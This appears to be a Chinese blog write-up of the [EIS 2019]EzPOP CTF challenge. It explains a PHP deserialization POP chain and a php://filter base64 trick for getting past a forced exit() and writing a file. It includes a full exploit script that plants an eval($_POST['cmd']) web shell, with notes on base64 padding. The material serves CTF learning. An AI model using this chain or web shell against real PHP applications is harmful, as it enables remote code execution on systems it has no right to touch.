[EIS 2019]EzPOP
[EIS 2019]EzPOP
[EIS 2019]EzPOP - 天水麒麟儿 - 博客园这篇wp我感觉看的最明白,思路很舒服
总结这道题目就是在考些php特性
代码分析
首先拿到源码看到unserialize然后看到两个类,第一反应那就是反序列化了,直接找出口
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
然后顺手看了看,并没有几个魔术方法,也就__construct
和__destruct
,那入口就锁定
重新看上面的那个文件写操作,格式化一个12位宽度的字符串,但是会被注释掉,所以无论$expire
传入了什么,其实都只会执行了exit()
,然后也没后面的$data
什么事了。
这里想绕过这个死亡exit的方法,那就是利用file_put_contents
和伪协议搭配,比如:
file_put_contents("php://filter/write=convert.base64-decode/resource=./uploads/shell.php",$data)
这时候会将$data
中的内容base64解码后写入shell.php
中,也就成功绕过了
那就开始追pop链
$expire
没什么用只接受int类型,追$data
options['data_compress']
==0即可绕过
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
继续往上看,值经过serialize
函数,是从$value
得到的。跟进去看看,$data
肯定不是数字,让$this->options['serialize'] = 'strval'
或者trim
,可以让$data
毫发无伤出来
$data = $this->serialize($value);
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
然后就是看$filename
,由一个函数,跟进去看看,发现是做一个拼接功能,这不就舒服了吗?可以拼接伪协议
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
好了现在得知信息是:
$filename
的值由$name
传入
$data
的值由$value
传入
$expire
的值由$expire
传入(没用的东西)
这都是从set函数来的,要从class A 触发class B 中的set函数
到class A 中看看,吻合了需要的东西,反序列化最终触发destruct
,然后触发save
,再触发B->set
就能传值了。其中$key $expire
可控,看 $contents
。
追进去 getForStorage
方法,里面的cleanContents
只让传入数组,如果不是数组嵌套数组就直接返回原来的$cache
又是可控的,下班!
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);//$name, $value, $expire
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
exp
<?php
error_reporting(0);
class A {
protected $store;
protected $key = 'a.php';
protected $expire = null;
public $autosave = 0;
public $cache = array('path111'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr");
public $complete = 1;
public function __construct($store) {
$this->store = $store;
}
}
class B {
public $options = array('data_compress'=>0, 'expire'=> 0,
'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
'serialize'=>'strval');
}
$b = new B;
$a = new A($b);
echo urlencode(serialize($a));
exp这里要注意到两个地方:
首先
一是被base64解密的整个语句中,马之前的字数要为4的倍数。大伙可以本地测试一下。那为什么要4的倍数,因为base64加密是原文每3个字节转为对应密码4个字节的过程。
那反过来解密就是4->3的过程。我们不能破坏掉一句话马的完整性,所以需要前面的字符数量为4的倍数
<?php
$half="<?php\n//" ."000000000000"."\n exit();?>\n".'[{"path111":"';
echo strlen($half)."\n";//刚好凑齐4的倍数28
$shell='PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmFh"},1]';
//$shell='PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="},1]';
$all= $half.$shell;
echo base64_decode( $all);
$filename="php://filter/write=convert.base64-decode/resource=./a.php";
file_put_contents($filename, $all);
//第一个shell生成的a.php-> ¦ÿM4ÓM4ÓM4Ñìb¶–‡]u<?php eval($_POST['cmd']);?>aa
//第二个shell生成的a.php-> 什么都没有
其次
注意到上面解码后的是<?php eval($_POST['cmd']);?>aa
为什么需要在后面添加aa?这就和file_put_contents
与伪协议的结合导致的。
如果是形如base64的标志==结尾后,还跟随着一堆合法字符,那直接写入失败。
如果并不是==结尾的话,后面跟任意合法字符都可以成功写入。
而==是为了解决原文字符不是3的倍数生成的。那补齐原文为3的倍数即可